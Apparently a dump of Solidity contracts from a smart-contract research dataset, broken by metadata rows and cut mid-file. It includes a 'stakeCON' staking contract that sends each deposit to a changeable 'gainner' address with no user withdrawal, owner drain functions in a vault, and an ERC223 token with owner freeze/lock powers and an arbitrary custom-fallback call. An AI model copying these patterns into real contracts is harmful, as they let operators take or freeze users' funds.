require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface ERC721
{
event Transfer(address indexed _from,
address indexed _to,
uint256 indexed _tokenId);
event Approval(address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes calldata _data)
external;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
external;
function transferFrom(address _from,
address _to,
uint256 _tokenId)
external;
function approve(address _approved,
uint256 _tokenId)
external;
function setApprovalForAll(address _operator,
bool _approved)
external;
function balanceOf(address _owner)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId)
external
view
returns (address);
function getApproved(uint256 _tokenId)
external
view
returns (address);
function isApprovedForAll(address _owner,
address _operator)
external
view
returns (bool);
}
contract stakeCON is Governance {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct NFTitemInfo {
address nftADDR;
uint256 nftTokenID;
uint256 time;
}
struct ERCitemInfo {
address tokenAddr;
uint256 amount;
uint256 time;
}
mapping(address => NFTitemInfo[]) public stakeNFTInfo;
mapping(address => ERCitemInfo[]) public stakeERCInfo;
mapping(address => mapping(address => uint)) public stakeERCAmount;
address public gainner;
mapping(address => bool) public nftTokenAddr;
constructor(address _gainner,address[] memory _nftAddr) public {
gainner = _gainner;
for(uint i=0;i<_nftAddr.length;i++)
{
nftTokenAddr[_nftAddr[i]] = true;
}
}
function stakeNFT(address _nftAddr,uint _tokenid) public {
require(nftTokenAddr[_nftAddr],"nft err");
require(ERC721(_nftAddr).ownerOf(_tokenid) == msg.sender,"nft own err");
ERC721(_nftAddr).safeTransferFrom(msg.sender,address(this),_tokenid);
ERC721(_nftAddr).safeTransferFrom(address(this),gainner,_tokenid);
NFTitemInfo memory itemIn;
itemIn.nftADDR = _nftAddr;
itemIn.nftTokenID = _tokenid;
itemIn.time = block.timestamp;
stakeNFTInfo[msg.sender].push(itemIn);
}
function stakeERC(address ercaddr,uint256 num) external {
require(num > 0);
IERC20(ercaddr).safeTransferFrom(msg.sender,gainner,num);
ERCitemInfo memory itemIn;
itemIn.tokenAddr = ercaddr;
itemIn.amount = num;
itemIn.time = block.timestamp;
stakeERCInfo[msg.sender].push(itemIn);
stakeERCAmount[msg.sender][ercaddr] = stakeERCAmount[msg.sender][ercaddr].add(num);
}
function govwithdrawNFT(address _nftAddr,uint256 _tokenid) public onlyGovernance{
ERC721(_nftAddr).safeTransferFrom(address(this),msg.sender,_tokenid);
}
function govwithdrawERC(address ercaddr,uint256 amount) public onlyGovernance{
IERC20(ercaddr).safeTransfer(msg.sender,amount);
}
function stakeNFTbalanceOf(address ac) public view returns(uint256){
return stakeNFTInfo[ac].length;
}
function stakeERCbalanceOf(address ac) public view returns(uint256){
return stakeERCInfo[ac].length;
}
function setgainner(address newgainner) public onlyGovernance{
gainner = newgainner;
}
function onERC721Received(address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data)
external
returns(bytes4){
return 0x150b7a02;
}
}
| 36,044 | 11,776 |
4c5e33aabf4470878011d7c5781bc2111510a1c47068302933c9f890fac8f88f
| 35,775 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/2e/2e5581801525cda68fd7b908463ceb4113f06d32_SorMaster.sol
| 5,589 | 22,150 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Withdrawable is Context, Ownable {
address private _withdrawer;
event WithdrawershipTransferred(address indexed previousWithdrawer, address indexed newWithdrawer);
constructor () {
address msgSender = _msgSender();
_withdrawer = msgSender;
emit WithdrawershipTransferred(address(0), msgSender);
}
function withdrawer() public view returns (address) {
return _withdrawer;
}
modifier onlyWithdrawer() {
require(_withdrawer == _msgSender(), "Withdrawable: caller is not the withdrawer");
_;
}
function transferWithdrawership(address newWithdrawer) public virtual onlyOwner {
require(newWithdrawer != address(0), "Withdrawable: new withdrawer is the zero address");
emit WithdrawershipTransferred(_withdrawer, newWithdrawer);
_withdrawer = newWithdrawer;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
interface ISorToken is IERC20 {
function mint(address account, uint256 amount) external;
function burn(uint256 amount) external;
}
interface ILuxorRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract SorMaster is Ownable, Withdrawable, ReentrancyGuard, Pausable {
using SafeERC20 for IERC20;
using SafeERC20 for ISorToken;
ISorToken public immutable sor;
IERC20 public immutable dai;
IERC20 public immutable luxor;
ILuxorRouter public immutable luxorRouter;
address public treasury;
address public strategist;
address[] public swapPath;
address[] public swapPathReverse;
uint public luxorPermille = 200;
uint public treasuryPermille = 19;
uint public feePermille = 10;
uint256 public maxStakeAmount;
uint256 public maxRedeemAmount;
uint256 public maxStakePerSecond;
uint256 internal lastSecond;
uint256 internal lastSecondDaiStaked;
uint256 internal lastSecondLuxorPermilleChanged;
uint256 internal constant decimalDifference = 10 ** 12;
address private constant dead = 0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) public sorClaimAmount;
mapping(address => uint256) public sorClaimSecond;
mapping(address => uint256) public daiClaimAmount;
mapping(address => uint256) public daiClaimSecond;
uint256 public totalDaiClaimAmount;
event Stake(address indexed user, uint256 amount);
event SorClaim(address indexed user, uint256 amount);
event Redeem(address indexed user, uint256 amount);
event DaiClaim(address indexed user, uint256 amount);
event DaiWithdrawn(uint256 amount);
event LuxorWithdrawn(uint256 amount);
event SwapPathChanged(address[] swapPath);
event LuxorPermilleChanged(uint256 luxorPermille);
event TreasuryPermilleChanged(uint256 treasuryPermille);
event FeePermilleChanged(uint256 feePermille);
event TreasuryAddressChanged(address treasury);
event StrategistAddressChanged(address strategist);
event MaxStakeAmountChanged(uint256 maxStakeAmount);
event MaxRedeemAmountChanged(uint256 maxRedeemAmount);
event MaxStakePerSecondChanged(uint256 maxStakePerSecond);
constructor(ISorToken _sor, IERC20 _dai, IERC20 _luxor,
ILuxorRouter _luxorRouter, address _treasury,
uint256 _maxStakeAmount, uint256 _maxRedeemAmount, uint256 _maxStakePerSecond) {
require(address(_sor) != address(0) &&
address(_dai) != address(0) &&
address(_luxor) != address(0) &&
address(_luxorRouter) != address(0) &&
_treasury != address(0),
"zero address in constructor");
sor = _sor;
dai = _dai;
luxor = _luxor;
luxorRouter = _luxorRouter;
treasury = _treasury;
swapPath = [address(dai), address(luxor)];
swapPathReverse = [address(luxor), address(dai)];
maxStakeAmount = _maxStakeAmount;
maxRedeemAmount = _maxRedeemAmount;
maxStakePerSecond = _maxStakePerSecond;
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function setSwapPath(address[] calldata _swapPath) external onlyOwner {
require(_swapPath.length > 1 && _swapPath[0]
== address(dai) && _swapPath[_swapPath.length - 1] == address(luxor), "invalid swap path");
swapPath = _swapPath;
swapPathReverse = new address[](_swapPath.length);
for(uint256 i=0; i<_swapPath.length; i++)
swapPathReverse[i] = _swapPath[_swapPath.length - 1 - i];
emit SwapPathChanged(_swapPath);
}
function setLuxorPermille(uint _luxorPermille) external onlyOwner {
require(_luxorPermille <= 500, 'luxorPermille too high!');
luxorPermille = _luxorPermille;
lastSecondLuxorPermilleChanged = block.timestamp;
emit LuxorPermilleChanged(_luxorPermille);
}
function setTreasuryPermille(uint _treasuryPermille) external onlyOwner {
require(_treasuryPermille <= 50, 'treasuryPermille too high!');
treasuryPermille = _treasuryPermille;
emit TreasuryPermilleChanged(_treasuryPermille);
}
function setFeePermille(uint _feePermille) external onlyOwner {
require(_feePermille <= 20, 'feePermille too high!');
feePermille = _feePermille;
emit FeePermilleChanged(_feePermille);
}
function setTreasuryAddress(address _treasury) external onlyOwner {
require(_treasury != address(0), 'zero address');
treasury = _treasury;
emit TreasuryAddressChanged(_treasury);
}
function setStrategistAddress(address _strategist) external onlyOwner {
strategist = _strategist;
emit StrategistAddressChanged(_strategist);
}
function setMaxStakeAmount(uint256 _maxStakeAmount) external onlyOwner {
require(maxStakePerSecond >= _maxStakeAmount, 'value not valid');
maxStakeAmount = _maxStakeAmount;
emit MaxStakeAmountChanged(_maxStakeAmount);
}
function setMaxRedeemAmount(uint256 _maxRedeemAmount) external onlyOwner {
maxRedeemAmount = _maxRedeemAmount;
emit MaxRedeemAmountChanged(_maxRedeemAmount);
}
function setMaxStakePerSecond(uint256 _maxStakePerSecond) external onlyOwner {
require(_maxStakePerSecond >= maxStakeAmount, 'value not valid');
maxStakePerSecond = _maxStakePerSecond;
emit MaxStakePerSecondChanged(_maxStakePerSecond);
}
function stake(uint256 amount, uint256 luxorAmountOutMin, uint256 sorAmountOutMin)
external nonReentrant whenNotPaused {
require(block.timestamp > lastSecondLuxorPermilleChanged, 'luxorPermille just changed');
require(amount > 0, 'amount cannot be zero');
require(sorClaimAmount[msg.sender] == 0, 'you have to claim first');
require(amount <= maxStakeAmount, 'amount too high');
if(lastSecond != block.timestamp) {
lastSecondDaiStaked = amount;
lastSecond = block.timestamp;
} else {
lastSecondDaiStaked += amount;
}
require(lastSecondDaiStaked <= maxStakePerSecond, 'maximum stake per second exceeded');
dai.safeTransferFrom(msg.sender, address(this), amount);
if(feePermille > 0) {
uint256 feeAmount = amount * feePermille / 1000;
dai.safeTransfer(treasury, feeAmount);
amount = amount - feeAmount;
}
uint256 amountWithDecimals = amount * decimalDifference;
sor.mint(address(this), amountWithDecimals);
uint256 luxorAmount = amount * luxorPermille / 1000;
dai.approve(address(luxorRouter), luxorAmount);
luxorRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(luxorAmount,
luxorAmountOutMin,
swapPath,
address(this),
block.timestamp);
require(amountWithDecimals >= sorAmountOutMin, 'sorAmountOutMin not met');
sorClaimAmount[msg.sender] = amountWithDecimals;
sorClaimSecond[msg.sender] = block.timestamp;
emit Stake(msg.sender, amount);
}
function claimSor() external nonReentrant whenNotPaused {
require(sorClaimAmount[msg.sender] > 0, 'there is nothing to claim');
require(sorClaimSecond[msg.sender] < block.timestamp, 'you cannnot claim yet');
uint256 amount = sorClaimAmount[msg.sender];
sorClaimAmount[msg.sender] = 0;
sor.safeTransfer(msg.sender, amount);
emit SorClaim(msg.sender, amount);
}
function redeem(uint256 amount) external nonReentrant whenNotPaused {
require(amount > 0, 'amount cannot be zero');
require(daiClaimAmount[msg.sender] == 0, 'you have to claim first');
require(amount <= maxRedeemAmount, 'amount too high');
sor.safeTransferFrom(msg.sender, dead, amount);
daiClaimAmount[msg.sender] = amount;
daiClaimSecond[msg.sender] = block.timestamp;
totalDaiClaimAmount += amount;
emit Redeem(msg.sender, amount);
}
function claimDai(uint256 luxorAmountOutMin, uint256 daiAmountOutMin) external nonReentrant whenNotPaused {
require(daiClaimAmount[msg.sender] > 0, 'there is nothing to claim');
require(daiClaimSecond[msg.sender] < block.timestamp, 'you cannnot claim yet');
require(block.timestamp > lastSecondLuxorPermilleChanged, 'luxorPermille just changed');
uint256 amount = daiClaimAmount[msg.sender];
daiClaimAmount[msg.sender] = 0;
totalDaiClaimAmount -= amount;
uint256 amountWithoutDecimals = amount / decimalDifference;
uint256 daiTransferAmount = amountWithoutDecimals * (1000 - luxorPermille - treasuryPermille) / 1000;
require(daiTransferAmount >= daiAmountOutMin, 'daiAmountOutMin not met');
uint256 daiTreasuryAmount = amountWithoutDecimals * treasuryPermille / 1000;
uint256 luxorTransferAmount = luxor.balanceOf(address(this)) * amount / sor.totalSupply();
sor.burn(amount);
dai.safeTransfer(treasury, daiTreasuryAmount);
dai.safeTransfer(msg.sender, daiTransferAmount);
luxor.approve(address(luxorRouter), luxorTransferAmount);
luxorRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(luxorTransferAmount,
luxorAmountOutMin,
swapPathReverse,
msg.sender,
block.timestamp);
emit DaiClaim(msg.sender, amount);
}
function emergencyRedeemAll() external nonReentrant whenPaused {
uint256 amount = sor.balanceOf(msg.sender);
require(amount > 0, 'amount cannot be zero');
require(daiClaimAmount[msg.sender] == 0, 'you have to claim first');
sor.safeTransferFrom(msg.sender, dead, amount);
daiClaimAmount[msg.sender] = amount;
daiClaimSecond[msg.sender] = block.timestamp;
totalDaiClaimAmount += amount;
emit Redeem(msg.sender, amount);
}
function emergencyClaimDaiAll() external nonReentrant whenPaused {
require(daiClaimAmount[msg.sender] > 0, 'there is nothing to claim');
require(daiClaimSecond[msg.sender] < block.timestamp, 'you cannot claim yet');
uint256 amount = daiClaimAmount[msg.sender];
daiClaimAmount[msg.sender] = 0;
totalDaiClaimAmount -= amount;
uint256 amountWithoutDecimals = amount / decimalDifference;
uint256 daiTransferAmount = amountWithoutDecimals * (1000 - luxorPermille - treasuryPermille) / 1000;
uint256 daiTreasuryAmount = amountWithoutDecimals * treasuryPermille / 1000;
sor.burn(amount);
dai.safeTransfer(treasury, daiTreasuryAmount);
dai.safeTransfer(msg.sender, daiTransferAmount);
emit DaiClaim(msg.sender, amount);
}
function withdrawDai(uint256 amount) external onlyOwner {
require(strategist != address(0), 'strategist not set');
dai.safeTransfer(strategist, amount);
emit DaiWithdrawn(amount);
}
function withdrawLuxor(uint256 amount) external onlyWithdrawer {
luxor.safeTransfer(msg.sender, amount);
emit LuxorWithdrawn(amount);
}
}
| 324,563 | 11,777 |
e72fd5b6d31f51b86ada02dc006890d5ee35c6fb966a5f252ce2d0a883b2e3ee
| 18,870 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x4a6b53706ef8ffa05b777f29e46ff7be119d69e5.sol
| 3,549 | 13,911 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract DIETSweets is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Diet Sweets";
string public symbol = "DIET";
uint8 public decimals = 8;
uint256 public totalSupply = 1e10 * 2e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function DIETSweets() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
